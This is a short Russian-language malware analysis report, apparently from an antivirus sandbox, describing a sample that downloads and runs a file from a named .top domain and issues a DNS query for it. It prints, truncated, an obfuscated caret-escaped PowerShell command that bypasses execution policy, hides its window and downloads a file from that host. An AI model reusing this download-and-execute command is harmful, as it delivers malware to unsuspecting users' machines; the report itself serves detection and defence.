Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://fooperight.top/admin.php?f=0.dat как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "poWeR^s^h^e^l^l^.exE^ -eXecUTIO^npOL^Icy^ B^ypA^S^s -^nO^prO^f^I^Le ^-^wIndOWst^y^l^E^ ^hiDDen ^(^nEW-^oBJeCt s^y^ST^E^M^.N^E^t.Web^cLI^e^nT^)^.^d^O^WnlOADF^I^le(^'http://foope...
Сетевая активность
UDP
- DNS ASK fo###right.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "poWeR^s^h^e^l^l^.exE^ -eXecUTIO^npOL^Icy^ B^ypA^S^s -^nO^prO^f^I^Le ^-^wIndOWst^y^l^E^ ^hiDDen ^(^nEW-^oBJeCt s^y^ST^E^M^.N^E^t.Web^cLI^e^nT^)^.^d^O^WnlOADF^I^le(^'http://foope...' (со скрытым окном)
